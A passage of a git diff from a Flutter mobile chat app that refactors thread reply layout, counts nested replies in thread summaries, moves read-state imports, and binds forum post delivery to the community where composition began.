+                  mainAxisSize: MainAxisSize.min,
+                  children: [
+                    AnimatedSize(
+                      duration: MediaQuery.disableAnimationsOf(context)
+                          ? Duration.zero
+                          : const Duration(milliseconds: 180),
+                      curve: Curves.easeOutCubic,
+                      alignment: Alignment.bottomCenter,
+                      child: threadTyping.isEmpty
+                          ? const SizedBox.shrink()
+                          : ChannelTypingIndicator(entries: threadTyping),
+                    ),
+                    ComposeBar(
+                      channelId: channelId,
+                      hintText: 'Reply in thread\u2026',
+                      threadHeadId: threadHead.id,
+                      rootId: effectiveRootId,
+                      onSend:
+                          (
+                            content,
+                            mentionPubkeys, {
+                            mediaTags = const <List<String>>[],
+                          }) => sendMessage.call(
                             channelId: channelId,
-                            currentPubkey: currentPubkey,
-                            isMember: isMember,
-                            isArchived: isArchived,
+                            content: content,
+                            mentionPubkeys: mentionPubkeys,
+                            parentEventId: threadHead.id,
+                            rootEventId: effectiveRootId,
+                            mediaTags: mediaTags,
                           ),
-                      ],
                     ),
-                  );
-                },
+                  ],
+                ),
               ),
             ),
-          ),
-          AnimatedSize(
-            duration: MediaQuery.disableAnimationsOf(context)
-                ? Duration.zero
-                : const Duration(milliseconds: 180),
-            curve: Curves.easeOutCubic,
-            alignment: Alignment.bottomCenter,
-            child: threadTyping.isEmpty
-                ? const SizedBox.shrink()
-                : ChannelTypingIndicator(entries: threadTyping),
-          ),
-          if (isMember && !isArchived)
-            ComposeBar(
-              channelId: channelId,
-              hintText: 'Reply in thread\u2026',
-              threadHeadId: threadHead.id,
-              rootId: effectiveRootId,
-              onSend:
-                  (
-                    content,
-                    mentionPubkeys, {
-                    mediaTags = const <List<String>>[],
-                  }) => ref
-                      .read(sendMessageProvider)
-                      .call(
-                        channelId: channelId,
-                        content: content,
-                        mentionPubkeys: mentionPubkeys,
-                        parentEventId: threadHead.id,
-                        rootEventId: effectiveRootId,
-                        mediaTags: mediaTags,
-                      ),
-            ),
         ],
       ),
     );
@@ -566,6 +701,15 @@ class _NestedThreadSummaryRow extends ConsumerWidget {
   }
 }
 
+class _ThreadTailMetricsObserver with WidgetsBindingObserver {
+  final VoidCallback onMetricsChanged;
+
+  _ThreadTailMetricsObserver({required this.onMetricsChanged});
+
+  @override
+  void didChangeMetrics() => onMetricsChanged();
+}
+
 class _ThreadMessage extends ConsumerWidget {
   final TimelineMessage message;
   final Map<String, String> channelNames;
diff --git a/mobile/lib/features/channels/thread_follows/thread_follows_provider.dart b/mobile/lib/features/channels/thread_follows/thread_follows_provider.dart
index b3b09cf7e7..13210ca8e9 100644
--- a/mobile/lib/features/channels/thread_follows/thread_follows_provider.dart
+++ b/mobile/lib/features/channels/thread_follows/thread_follows_provider.dart
@@ -2,7 +2,7 @@ import 'package:hooks_riverpod/hooks_riverpod.dart';
 
 import '../../../shared/relay/relay.dart';
 import '../../../shared/theme/theme_provider.dart';
-import '../read_state/read_state_time.dart';
+import '../../../shared/read_state/read_state_time.dart';
 import 'thread_follows_storage.dart';
 
 class ThreadFollowsState {
diff --git a/mobile/lib/features/channels/timeline_message.dart b/mobile/lib/features/channels/timeline_message.dart
index c8fd96491b..411902ea86 100644
--- a/mobile/lib/features/channels/timeline_message.dart
+++ b/mobile/lib/features/channels/timeline_message.dart
@@ -509,13 +509,9 @@ List<MainTimelineEntry> buildMainTimelineEntries(
   List<TimelineMessage> messages, {
   Map<String, ChannelWindowThreadSummary>? relaySummaries,
 }) {
-  // Index direct children by parentId.
-  final childrenByParent = <String, List<TimelineMessage>>{};
-  for (final msg in messages) {
-    final pid = msg.parentId;
-    if (pid == null) continue;
-    childrenByParent.putIfAbsent(pid, () => []).add(msg);
-  }
+  // Index descendant stats by ancestor, so a nested reply updates every summary
+  // above it and not only the summary of its direct parent.
+  final descendantStats = _buildDescendantStats(messages);
 
   return [
     for (final msg in messages)
@@ -524,7 +520,7 @@ List<MainTimelineEntry> buildMainTimelineEntries(
           message: msg,
           summary: _buildSummary(
             msg.id,
-            childrenByParent,
+            descendantStats,
             relaySummaries?[msg.id],
           ),
         ),
@@ -537,39 +533,176 @@ bool _isBroadcastReply(TimelineMessage message) {
   );
 }
 
+/// Combine what the relay counted with what this client has actually seen.
+///
+/// The count and last-reply time follow the desktop's `mergeThreadSummaries`
+/// (`desktop/src/features/messages/lib/threadPanel.ts`): the relay recount is
+/// authoritative for replies this client never loaded, and the locally observed
+/// replies are authoritative for anything that landed after (or alongside) the
+/// last recount. Neither source alone is complete, so take the larger count and
+/// the later reply time rather than letting one shadow the other. The facepile
+/// order is mobile's own (see [_mergeParticipants]) because this file already
+/// renders relay participants in the order the relay sent them.
+///
+/// Both halves count descendants, not direct replies: the relay's
+/// `descendant_count` and the locally assembled [_buildDescendantStats]. A badge
+/// on the main timeline stands for the whole thread under that message, so a
+/// reply to a reply has to raise it.
 ThreadSummary? _buildSummary(
   String messageId,
-  Map<String, List<TimelineMessage>> childrenByParent,
+  Map<String, _DescendantStats> descendantStats,
   ChannelWindowThreadSummary? relaySummary,
 ) {
-  if (relaySummary != null && relaySummary.replyCount > 0) {
-    return ThreadSummary(
-      threadHeadId: messageId,
-      replyCount: relaySummary.replyCount,
-      participantPubkeys: relaySummary.participantPubkeys.take(3).toList(),
-      lastReplyAt: relaySummary.lastReplyAt,
-    );
-  }
+  final local = _buildLocalSummary(messageId, descendantStats);
+  final relay = _buildRelaySummary(messageId, relaySummary);
+  if (relay == null) return local;
+  if (local == null) return relay;
 
-  final replies = childrenByParent[messageId];
-  if (replies == null || replies.isEmpty) return null;
+  return ThreadSummary(
+    threadHeadId: messageId,
+    replyCount: local.replyCount > relay.replyCount
+        ? local.replyCount
+        : relay.replyCount,
+    // Relay participants first: they describe the whole thread, including
+    // replies this client never loaded, so a recount's facepile keeps rendering
+    // as it does today. Locally seen repliers (newest first, matching the relay
+    // order this file already renders) only fill the remaining slots.
+    participantPubkeys: _mergeParticipants(
+      relay.participantPubkeys,
+      local.participantPubkeys.reversed,
+    ),
+    lastReplyAt: _laterOf(local.lastReplyAt, relay.lastReplyAt),
+  );
+}
 
-  // Up to 3 most recent unique participants (walk backwards).
-  final seen = <String>{};
-  final participants = <String>[];
-  for (var i = replies.length - 1; i >= 0 && participants.length < 3; i--) {
-    final pk = replies[i].pubkey.toLowerCase();
-    if (seen.add(pk)) participants.add(pk);
+/// Summary assembled from the replies present in the loaded timeline.
+///
+/// Counts every loaded descendant, not only direct children, because the root
+/// badge in the main timeline stands for the whole thread. This mirrors the
+/// desktop's `buildSummaryForDirectReplies`, which reads the same descendant
+/// stats and reverses the newest-first participants to oldest-first.
+ThreadSummary? _buildLocalSummary(
+  String messageId,
+  Map<String, _DescendantStats> descendantStats,
+) {
+  final stats = descendantStats[messageId];
+  if (stats == null || stats.descendantCount == 0) return null;
+
+  return ThreadSummary(
+    threadHeadId: messageId,
+    replyCount: stats.descendantCount,
+    participantPubkeys: stats.recentParticipantsNewestFirst.reversed.toList(),
+    lastReplyAt: stats.lastReplyAt,
+  );
+}
+
+/// Descendant count, last reply time, and recent participants for every message
+/// that has at least one loaded descendant.
+///
+/// Mirrors the desktop's `buildDescendantStatsByMessageId`
+/// (`desktop/src/features/messages/lib/threadPanel.ts`): each message is
+/// attributed to every ancestor on its parent chain, so a reply nested under a
+/// reply still counts towards the root it belongs to. Messages are visited
+/// newest first so the capped participant list keeps the most recent repliers.
+Map<String, _DescendantStats> _buildDescendantStats(
+  List<TimelineMessage> messages,
+) {
+  final messageById = <String, TimelineMessage>{
+    for (final msg in messages) msg.id: msg,
+  };
+  final statsByMessageId = <String, _DescendantStats>{
+    for (final msg in messages) msg.id: _DescendantStats(),
+  };
+
+  // Oldest first, keeping the original order for messages sharing a timestamp,
+  // then walked in reverse so participants are collected newest first.
+  final ordered = List<int>.generate(messages.length, (index) => index)
+    ..sort((left, right) {
+      final byCreatedAt = messages[left].createdAt.compareTo(
+        messages[right].createdAt,
+      );
+      return byCreatedAt != 0 ? byCreatedAt : left.compareTo(right);
+    });
+
+  for (var i = ordered.length - 1; i >= 0; i--) {
+    final message = messages[ordered[i]];
+    final participant = message.pubkey.toLowerCase();
+
+    // Cap the walk so a malformed parent chain (a cycle, for instance) cannot
+    // spin forever.
+    var ancestorId = message.parentId;
+    var hops = 0;
+    final maxHops = messages.length + 1;
+
+    while (ancestorId != null && hops < maxHops) {
+      final ancestorStats = statsByMessageId[ancestorId];
+      if (ancestorStats == null) break;
+
+      ancestorStats.descendantCount += 1;
+      ancestorStats.lastReplyAt = _laterOf(
+        ancestorStats.lastReplyAt,
+        message.createdAt,
+      );
+      if (ancestorStats.recentParticipantsNewestFirst.length < 3 &&
+          !ancestorStats.recentParticipantsNewestFirst.contains(participant)) {
+        ancestorStats.recentParticipantsNewestFirst.add(participant);
+      }
+
+      ancestorId = messageById[ancestorId]?.parentId;
+      hops += 1;
+    }
   }
 
+  return statsByMessageId;
+}
+
+/// Mutable accumulator for [_buildDescendantStats].
+class _DescendantStats {
+  int descendantCount = 0;
+  int? lastReplyAt;
+  final List<String> recentParticipantsNewestFirst = [];
+}
+
+/// Summary from the relay's recount, or null when it reports no replies.
+ThreadSummary? _buildRelaySummary(
+  String messageId,
+  ChannelWindowThreadSummary? relaySummary,
+) {
+  if (relaySummary == null || relaySummary.descendantCount <= 0) return null;
   return ThreadSummary(
     threadHeadId: messageId,
-    replyCount: replies.length,
-    participantPubkeys: participants.reversed.toList(),
-    lastReplyAt: replies.last.createdAt,
+    replyCount: relaySummary.descendantCount,
+    participantPubkeys: relaySummary.participantPubkeys.take(3).toList(),
+    lastReplyAt: relaySummary.lastReplyAt,
   );
 }
 
+int? _laterOf(int? left, int? right) {
+  if (left == null) return right;
+  if (right == null) return left;
+  return left > right ? left : right;
+}
+
+/// Up to 3 unique pubkeys, [primary] first.
+///
+/// [secondary] is expected newest-first so that a capped facepile keeps the
+/// most recent participants rather than the oldest ones. Uniqueness is
+/// case-insensitive because the locally assembled half lowercases pubkeys while
+/// the relay half is passed through as received.
+List<String> _mergeParticipants(
+  Iterable<String> primary,
+  Iterable<String> secondary,
+) {
+  final seen = <String>{};
+  final merged = <String>[];
+  for (final pubkey in [...primary, ...secondary]) {
+    if (!seen.add(pubkey.toLowerCase())) continue;
+    merged.add(pubkey);
+    if (merged.length == 3) break;
+  }
+  return merged;
+}
+
 class _Edit {
   final String content;
   final int createdAt;
diff --git a/mobile/lib/features/channels/unread_badge/observed_unread_event.dart b/mobile/lib/features/channels/unread_badge/observed_unread_event.dart
index f25957ad8e..d6a402b4cd 100644
--- a/mobile/lib/features/channels/unread_badge/observed_unread_event.dart
+++ b/mobile/lib/features/channels/unread_badge/observed_unread_event.dart
@@ -1,4 +1,4 @@
-import '../read_state/read_state_format.dart';
+import '../../../shared/read_state/read_state_format.dart';
 
 class ObservedUnreadEvent {
   final String id;
diff --git a/mobile/lib/features/channels/unread_badge/unread_badge_provider.dart b/mobile/lib/features/channels/unread_badge/unread_badge_provider.dart
index c967aa105d..09e33ba95f 100644
--- a/mobile/lib/features/channels/unread_badge/unread_badge_provider.dart
+++ b/mobile/lib/features/channels/unread_badge/unread_badge_provider.dart
@@ -1,8 +1,8 @@
 import 'package:hooks_riverpod/hooks_riverpod.dart';
 
 import '../channels_provider.dart';
-import '../read_state/read_state_provider.dart';
-import '../read_state/read_state_format.dart';
+import '../../../shared/read_state/read_state_provider.dart';
+import '../../../shared/read_state/read_state_format.dart';
 import 'observed_unread_event.dart';
 
 class UnreadBadgeState {
diff --git a/mobile/lib/features/forum/forum_post_card.dart b/mobile/lib/features/forum/forum_post_card.dart
index ddc36a1d4a..453c9e8ef3 100644
--- a/mobile/lib/features/forum/forum_post_card.dart
+++ b/mobile/lib/features/forum/forum_post_card.dart
@@ -7,6 +7,7 @@ import 'package:lucide_icons_flutter/lucide_icons.dart';
 import '../../shared/mentions/agent_identity_provider.dart';
 import '../../shared/theme/theme.dart';
 import '../../shared/widgets/avatar_image.dart';
+import '../../shared/widgets/modal_presentation.dart';
 import '../channels/message_content.dart';
 import '../profile/user_cache_provider.dart';
 import '../profile/user_profile_sheet.dart';
@@ -230,44 +231,47 @@ class ForumPostCard extends HookConsumerWidget {
         currentPubkey != null &&
         post.pubkey.toLowerCase() == currentPubkey!.toLowerCase();
 
-    showModalBottomSheet<void>(
+    showBuzzModalBottomSheet<void>(
       context: context,
       showDragHandle: true,
       builder: (sheetContext) => SafeArea(
-        child: Padding(
-          padding: const EdgeInsets.fromLTRB(
-            Grid.gutter,
-            0,
-            Grid.gutter,
-            Grid.xs,
-          ),
-          child: Column(
-            mainAxisSize: MainAxisSize.min,
-            children: [
-              ListTile(
-                leading: const Icon(LucideIcons.copy),
-                title: const Text('Copy text'),
-                onTap: () {
-                  Navigator.of(sheetContext).pop();
-                  Clipboard.setData(ClipboardData(text: post.content));
-                },
-              ),
-              if (isOwn && onDelete != null)
+        child: IconTheme.merge(
+          data: const IconThemeData(size: 22),
+          child: Padding(
+            padding: const EdgeInsets.fromLTRB(
+              Grid.gutter,
+              0,
+              Grid.gutter,
+              Grid.xs,
+            ),
+            child: Column(
+              mainAxisSize: MainAxisSize.min,
+              children: [
                 ListTile(
-                  leading: Icon(
-                    LucideIcons.trash2,
-                    color: sheetContext.colors.error,
-                  ),
-                  title: Text(
-                    'Delete post',
-                    style: TextStyle(color: sheetContext.colors.error),
-                  ),
+                  leading: const Icon(LucideIcons.copy),
+                  title: const Text('Copy text'),
                   onTap: () {
                     Navigator.of(sheetContext).pop();
-                    _confirmDelete(context);
+                    Clipboard.setData(ClipboardData(text: post.content));
                   },
                 ),
-            ],
+                if (isOwn && onDelete != null)
+                  ListTile(
+                    leading: Icon(
+                      LucideIcons.trash2,
+                      color: sheetContext.colors.error,
+                    ),
+                    title: Text(
+                      'Delete post',
+                      style: TextStyle(color: sheetContext.colors.error),
+                    ),
+                    onTap: () {
+                      Navigator.of(sheetContext).pop();
+                      _confirmDelete(context);
+                    },
+                  ),
+              ],
+            ),
           ),
         ),
       ),
@@ -275,7 +279,7 @@ class ForumPostCard extends HookConsumerWidget {
   }
 
   void _confirmDelete(BuildContext context) {
-    showDialog<void>(
+    showBuzzDialog<void>(
       context: context,
       builder: (dialogContext) => AlertDialog(
         title: const Text('Delete post'),
diff --git a/mobile/lib/features/forum/forum_posts_view.dart b/mobile/lib/features/forum/forum_posts_view.dart
index e3eed1f96c..f11d0444b4 100644
--- a/mobile/lib/features/forum/forum_posts_view.dart
+++ b/mobile/lib/features/forum/forum_posts_view.dart
@@ -33,6 +33,10 @@ class ForumPostsView extends HookConsumerWidget {
   Widget build(BuildContext context, WidgetRef ref) {
     final postsAsync = ref.watch(forumPostsProvider(channel.id));
     final isComposing = useState(false);
+    // A queued attachment can finish after this view is popped. Capture the
+    // app-level provider container instead of retaining the route's WidgetRef.
+    final providerContainer = ProviderScope.containerOf(context, listen: false);
+    final forumDelivery = ForumEventDelivery.capture(providerContainer);
 
     // Periodic refresh (every 15s, matching desktop).
     useEffect(() {
@@ -146,8 +150,7 @@ class ForumPostsView extends HookConsumerWidget {
                   mentionPubkeys, {
                   mediaTags = const <List<String>>[],
                 }) async {
-                  await createForumPost(
-                    ref,
+                  await forumDelivery.createPost(
                     channelId: channel.id,
                     content: content,
                     mentionPubkeys: mentionPubkeys,
diff --git a/mobile/lib/features/forum/forum_provider.dart b/mobile/lib/features/forum/forum_provider.dart
index 710e16aa34..59cd72d077 100644
--- a/mobile/lib/features/forum/forum_provider.dart
+++ b/mobile/lib/features/forum/forum_provider.dart
@@ -55,73 +55,120 @@ final forumThreadProvider =
       );
     });
 
-/// Creates a new forum post (kind:45001).
-Future<void> createForumPost(
-  WidgetRef ref, {
-  required String channelId,
-  required String content,
-  List<String> mentionPubkeys = const [],
-  List<List<String>> mediaTags = const [],
-}) async {
-  final config = ref.read(relayConfigProvider);
-  final session = ref.read(relaySessionProvider.notifier);
-  final relay = SignedEventRelay(session: session, nsec: config.nsec);
+/// A forum event delivery bound to the community where composition began.
+///
+/// Attachment uploads can outlive their route. Capturing the relay identity,
+/// signing key, and emoji palette prevents a queued draft from being delivered
+/// to a different community after the user switches relays.
+class ForumEventDelivery {
+  final ProviderContainer _container;
+  final String _relayUrl;
+  final String? _nsec;
+  final SignedEventRelay _relay;
+  final List<CustomEmoji> _customEmoji;
 
-  final selfPubkey = relay.pubkey?.toLowerCase();
-  final seen = <String>{?selfPubkey};
-  final normalizedMentions = [
-    for (final pk in mentionPubkeys)
-      if (seen.add(pk.toLowerCase())) pk,
-  ];
+  ForumEventDelivery._({
+    required ProviderContainer container,
+    required String relayUrl,
+    required String? nsec,
+    required SignedEventRelay relay,
+    required List<CustomEmoji> customEmoji,
+  }) : _container = container,
+       _relayUrl = relayUrl,
+       _nsec = nsec,
+       _relay = relay,
+       _customEmoji = customEmoji;
 
-  await relay.submit(
-    kind: EventKind.forumPost,
-    content: content,
-    tags: [
-      ['h', channelId],
-      for (final pk in normalizedMentions) ['p', pk],
-      ...mediaTags,
-      ...buildCustomEmojiTags(content, ref.read(customEmojiListProvider)),
-    ],
-  );
-  ref.invalidate(forumPostsProvider(channelId));
-}
+  /// Captures the active community dependencies for a future delivery.
+  factory ForumEventDelivery.capture(ProviderContainer container) {
+    final config = container.read(relayConfigProvider);
+    return ForumEventDelivery._(
+      container: container,
+      relayUrl: config.baseUrl,
+      nsec: config.nsec,
+      relay: SignedEventRelay(
+        session: container.read(relaySessionProvider.notifier),
+        nsec: config.nsec,
+      ),
+      customEmoji: List<CustomEmoji>.unmodifiable(
+        container.read(customEmojiListProvider),
+      ),
+    );
+  }
 
-/// Creates a reply to a forum post (kind:45003).
-Future<void> createForumReply(
-  WidgetRef ref, {
-  required String channelId,
-  required String parentEventId,
-  required String content,
-  List<String> mentionPubkeys = const [],
-  List<List<String>> mediaTags = const [],
-}) async {
-  final config = ref.read(relayConfigProvider);
-  final session = ref.read(relaySessionProvider.notifier);
-  final relay = SignedEventRelay(session: session, nsec: config.nsec);
+  /// Creates a new forum post (kind:45001).
+  Future<void> createPost({
+    required String channelId,
+    required String content,
+    List<String> mentionPubkeys = const [],
+    List<List<String>> mediaTags = const [],
+  }) async {
+    await _submit(
+      kind: EventKind.forumPost,
+      channelId: channelId,
+      content: content,
+      mentionPubkeys: mentionPubkeys,
+      mediaTags: mediaTags,
+    );
+    _container.invalidate(forumPostsProvider(channelId));
+  }
 
-  final selfPubkey = relay.pubkey?.toLowerCase();
-  final seen = <String>{?selfPubkey};
-  final normalizedMentions = [
-    for (final pk in mentionPubkeys)
-      if (seen.add(pk.toLowerCase())) pk,
-  ];
+  /// Creates a reply to a forum post (kind:45003).
+  Future<void> createReply({
+    required String channelId,
+    required String parentEventId,
+    required String content,
+    List<String> mentionPubkeys = const [],
+    List<List<String>> mediaTags = const [],
+  }) async {
+    await _submit(
+      kind: EventKind.forumComment,
+      channelId: channelId,
+      parentEventId: parentEventId,
+      content: content,
+      mentionPubkeys: mentionPubkeys,
+      mediaTags: mediaTags,
+    );
+    _container.invalidate(forumPostsProvider(channelId));
+    _container.invalidate(
+      forumThreadProvider((channelId: channelId, eventId: parentEventId)),
+    );
+  }
 
-  await relay.submit(
-    kind: EventKind.forumComment,
-    content: content,
-    tags: [
-      ['h', channelId],
-      ['e', parentEventId, '', 'reply'],
-      for (final pk in normalizedMentions) ['p', pk],
-      ...mediaTags,
-      ...buildCustomEmojiTags(content, ref.read(customEmojiListProvider)),
-    ],
-  );
-  ref.invalidate(forumPostsProvider(channelId));
-  ref.invalidate(
-    forumThreadProvider((channelId: channelId, eventId: parentEventId)),
-  );
+  Future<void> _submit({
+    required int kind,
+    required String channelId,
+    required String content,
+    String? parentEventId,
+    required List<String> mentionPubkeys,
+    required List<List<String>> mediaTags,
+  }) async {
+    final currentConfig = _container.read(relayConfigProvider);
+    if (currentConfig.baseUrl != _relayUrl || currentConfig.nsec != _nsec) {
+      throw StateError(
+        'Forum delivery cancelled because the active community changed',
+      );
+    }
+
+    final selfPubkey = _relay.pubkey?.toLowerCase();
+    final seen = <String>{?selfPubkey};
+    final normalizedMentions = [
+      for (final pk in mentionPubkeys)
+        if (seen.add(pk.toLowerCase())) pk,
+    ];
+
+    await _relay.submit(
+      kind: kind,
+      content: content,
+      tags: [
+        ['h', channelId],
+        if (parentEventId != null) ['e', parentEventId, '', 'reply'],
+        for (final pk in normalizedMentions) ['p', pk],
+        ...mediaTags,
+        ...buildCustomEmojiTags(content, _customEmoji),
+      ],
+    );
+  }
 }
 
 /// Deletes a forum post or reply and invalidates relevant caches.
diff --git a/mobile/lib/features/forum/forum_thread_page.dart b/mobile/lib/features/forum/forum_thread_page.dart
index 68d2562f68..74303c0572 100644
--- a/mobile/lib/features/forum/forum_thread_page.dart
+++ b/mobile/lib/features/forum/forum_thread_page.dart
@@ -12,6 +12,7 @@ import '../../shared/widgets/avatar_image.dart';
 import '../../shared/widgets/buzz_loading_indicator.dart';
 import '../../shared/widgets/frosted_app_bar.dart';
 import '../../shared/widgets/frosted_scaffold.dart';
+import '../../shared/widgets/modal_presentation.dart';
 import '../channels/compose_bar.dart';
 import '../channels/message_content.dart';
 import '../profile/user_cache_provider.dart';
@@ -113,43 +114,46 @@ class ForumThreadPage extends HookConsumerWidget {
     WidgetRef ref,
     ForumThreadResponse thread,
   ) {
-    showModalBottomSheet<void>(
+    showBuzzModalBottomSheet<void>(
       context: context,
       showDragHandle: true,
       builder: (sheetContext) => SafeArea(
-        child: Padding(
-          padding: const EdgeInsets.fromLTRB(
-            Grid.gutter,
-            0,
-            Grid.gutter,
-            Grid.xs,
-          ),
-          child: Column(
-            mainAxisSize: MainAxisSize.min,
-            children: [
-              ListTile(
-                leading: const Icon(LucideIcons.copy),
-                title: const Text('Copy text'),
-                onTap: () {
-                  Navigator.of(sheetContext).pop();
-                  Clipboard.setData(ClipboardData(text: thread.post.content));
-                },
-              ),
-              ListTile(
-                leading: Icon(
-                  LucideIcons.trash2,
-                  color: sheetContext.colors.error,
+        child: IconTheme.merge(
+          data: const IconThemeData(size: 22),
+          child: Padding(
+            padding: const EdgeInsets.fromLTRB(
+              Grid.gutter,
+              0,
+              Grid.gutter,
+              Grid.xs,
+            ),
+            child: Column(
+              mainAxisSize: MainAxisSize.min,
+              children: [
+                ListTile(
+                  leading: const Icon(LucideIcons.copy),
+                  title: const Text('Copy text'),
+                  onTap: () {
+                    Navigator.of(sheetContext).pop();
+                    Clipboard.setData(ClipboardData(text: thread.post.content));
+                  },
                 ),
-                title: Text(
-                  'Delete post',
-                  style: TextStyle(color: sheetContext.colors.error),
+                ListTile(
+                  leading: Icon(
+                    LucideIcons.trash2,
+                    color: sheetContext.colors.error,
+                  ),
+                  title: Text(
+                    'Delete post',
+                    style: TextStyle(color: sheetContext.colors.error),
+                  ),
+                  onTap: () {
+                    Navigator.of(sheetContext).pop();
+                    _confirmDeletePost(context, ref, thread.post.eventId);
+                  },
                 ),
-                onTap: () {
-                  Navigator.of(sheetContext).pop();
-                  _confirmDeletePost(context, ref, thread.post.eventId);
-                },
-              ),
-            ],
+              ],
+            ),
           ),
         ),
       ),
@@ -157,7 +161,7 @@ class ForumThreadPage extends HookConsumerWidget {
   }
 
   void _confirmDeletePost(BuildContext context, WidgetRef ref, String eventId) {
-    showDialog<void>(
+    showBuzzDialog<void>(
       context: context,
       builder: (dialogContext) => AlertDialog(
         title: const Text('Delete post'),
@@ -207,6 +211,9 @@ class _ThreadContent extends HookConsumerWidget {
 
   @override
   Widget build(BuildContext context, WidgetRef ref) {
+    // Background media delivery may outlive this route's WidgetRef.
+    final providerContainer = ProviderScope.containerOf(context, listen: false);
+    final forumDelivery = ForumEventDelivery.capture(providerContainer);
     final post = thread.post;
     final replies = thread.replies;
 
@@ -301,8 +308,7 @@ class _ThreadContent extends HookConsumerWidget {
                   content,
                   mentionPubkeys, {
                   mediaTags = const <List<String>>[],
-                }) => createForumReply(
-                  ref,
+                }) => forumDelivery.createReply(
                   channelId: channelId,
                   parentEventId: post.eventId,
                   content: content,
@@ -531,44 +537,47 @@ class _ReplyRow extends ConsumerWidget {
         currentPubkey != null &&
         reply.pubkey.toLowerCase() == currentPubkey!.toLowerCase();
 
-    showModalBottomSheet<void>(
+    showBuzzModalBottomSheet<void>(
       context: context,
       showDragHandle: true,
       builder: (sheetContext) => SafeArea(
-        child: Padding(
-          padding: const EdgeInsets.fromLTRB(
-            Grid.gutter,
-            0,
-            Grid.gutter,
-            Grid.xs,
-          ),
-          child: Column(
-            mainAxisSize: MainAxisSize.min,
-            children: [
-              ListTile(
-                leading: const Icon(LucideIcons.copy),
-                title: const Text('Copy text'),
-                onTap: () {
-                  Navigator.of(sheetContext).pop();
-                  Clipboard.setData(ClipboardData(text: reply.content));
-                },
-              ),
-              if (isOwn)
+        child: IconTheme.merge(
+          data: const IconThemeData(size: 22),
+          child: Padding(
+            padding: const EdgeInsets.fromLTRB(
+              Grid.gutter,
+              0,
+              Grid.gutter,
+              Grid.xs,
+            ),
+            child: Column(
+              mainAxisSize: MainAxisSize.min,
+              children: [
                 ListTile(
-                  leading: Icon(
-                    LucideIcons.trash2,
-                    color: sheetContext.colors.error,
-                  ),
-                  title: Text(
-                    'Delete reply',
-                    style: TextStyle(color: sheetContext.colors.error),
-                  ),
+                  leading: const Icon(LucideIcons.copy),
+                  title: const Text('Copy text'),
                   onTap: () {
                     Navigator.of(sheetContext).pop();
-                    _confirmDelete(context, ref);
+                    Clipboard.setData(ClipboardData(text: reply.content));
                   },
                 ),
-            ],
+                if (isOwn)
+                  ListTile(
+                    leading: Icon(
+                      LucideIcons.trash2,
+                      color: sheetContext.colors.error,
+                    ),
+                    title: Text(
+                      'Delete reply',
+                      style: TextStyle(color: sheetContext.colors.error),
+                    ),
+                    onTap: () {
+                      Navigator.of(sheetContext).pop();
+                      _confirmDelete(context, ref);
+                    },
+                  ),
+              ],
+            ),
           ),
         ),
       ),
@@ -576,7 +585,7 @@ class _ReplyRow extends ConsumerWidget {
   }
 
   void _confirmDelete(BuildContext context, WidgetRef ref) {
-    showDialog<void>(
+    showBuzzDialog<void>(
       context: context,
       builder: (dialogContext) => AlertDialog(
         title: const Text('Delete reply'),
diff --git a/mobile/lib/features/home/home_page.dart b/mobile/lib/features/home/home_page.dart
index a40e317469..c691310df5 100644
--- a/mobile/lib/features/home/home_page.dart
+++ b/mobile/lib/features/home/home_page.dart
@@ -8,15 +8,21 @@ import 'package:hooks_riverpod/hooks_riverpod.dart';
 import 'package:lucide_icons_flutter/lucide_icons.dart';
 
 import '../../shared/theme/theme.dart';
+import '../../shared/widgets/directional_transition_scope.dart';
 import '../../shared/widgets/mobile_tab_footer_backdrop.dart';
 import '../activity/activity_page.dart';
 import '../channels/channels_page.dart';
 import '../search/search_page.dart';
 
 class HomePage extends HookConsumerWidget {
-  const HomePage({required this.settingsPageBuilder, super.key});
+  const HomePage({
+    required this.settingsPageBuilder,
+    required this.hasUnreadInbox,
+    super.key,
+  });
 
   final WidgetBuilder settingsPageBuilder;
+  final bool hasUnreadInbox;
 
   static const double _tabBarHeight = mobileTabBarHeight;
   static const double _tabBarRadius = _tabBarHeight / 2;
@@ -29,6 +35,13 @@ class HomePage extends HookConsumerWidget {
   static const double _tabIconSize = 22;
   static const double _fabClearance = _tabBarHeight + _tabBarBottomGap;
   static const Duration _tabIconWeightDuration = Duration(milliseconds: 120);
+  static const Duration _tabUnreadBadgeDuration = Duration(milliseconds: 220);
+  static const double _settingsBackgroundScale = 0.97;
+  static const Duration _tabContentTransitionDuration = Duration(
+    milliseconds: 240,
+  );
+  static const Curve _tabContentTransitionCurve = Cubic(0.22, 1, 0.36, 1);
+  static const double _tabContentTransitionDistance = 24;
 
   static const _destinations = [
     _HomeDestination(
@@ -51,6 +64,22 @@ class HomePage extends HookConsumerWidget {
   @override
   Widget build(BuildContext context, WidgetRef ref) {
     final tabIndex = useState(0);
+    final tabContentTransitionDirection = useRef(1.0);
+    final tabContentTransitionController = useAnimationController(
+      duration: _tabContentTransitionDuration,
+      initialValue: 1,
+    );
+    final tabContentTransitionValue = useAnimation(
+      tabContentTransitionController,
+    );
+    final homeReselection = useValueNotifier(0);
+    final activityReselection = useValueNotifier(0);
+    final searchReselection = useValueNotifier(0);
+    final settingsTransitionProgress = useValueNotifier(0.0);
+    final reducedMotion = MediaQuery.of(context).disableAnimations;
+    final tabContentTransitionProgress = reducedMotion
+        ? 1.0
+        : _tabContentTransitionCurve.transform(tabContentTransitionValue);
     final systemBottomInset = MediaQuery.paddingOf(context).bottom;
     final navigationBarWidth = _floatingTabBarWidth(
       MediaQuery.sizeOf(context).width,
@@ -58,61 +87,141 @@ class HomePage extends HookConsumerWidget {
     );
 
     final pages = [
-      ChannelsPage(settingsPageBuilder: settingsPageBuilder),
-      const ActivityPage(),
-      const SearchPage(),
+      ChannelsPage(
+        settingsPageBuilder: settingsPageBuilder,
+        tabReselection: homeReselection,
+        onSettingsTransitionProgress: (progress) {
+          if (settingsTransitionProgress.value != progress) {
+            settingsTransitionProgress.value = progress;
+          }
+        },
+      ),
+      ActivityPage(tabReselection: activityReselection),
+      SearchPage(tabReselection: searchReselection),
     ];
 
-    return Scaffold(
-      backgroundColor: Colors.transparent,
-      // Keep the floating navigation and Home quick actions anchored while the
-      // keyboard is visible on any tab.
-      resizeToAvoidBottomInset: false,
-      extendBody: true,
-      body: SizedBox.expand(
-        child: Stack(
-          fit: StackFit.expand,
-          children: [
-            Positioned.fill(child: ColoredBox(color: context.colors.surface)),
-            Positioned.fill(
-              child: MediaQuery(
-                data: _mediaQueryWithFloatingTabBarClearance(
-                  context,
-                  HomePage._fabClearance,
-                ),
-                child: IndexedStack(index: tabIndex.value, children: pages),
-              ),
+    final settingsTransitionGradient = tabIndex.value == 0
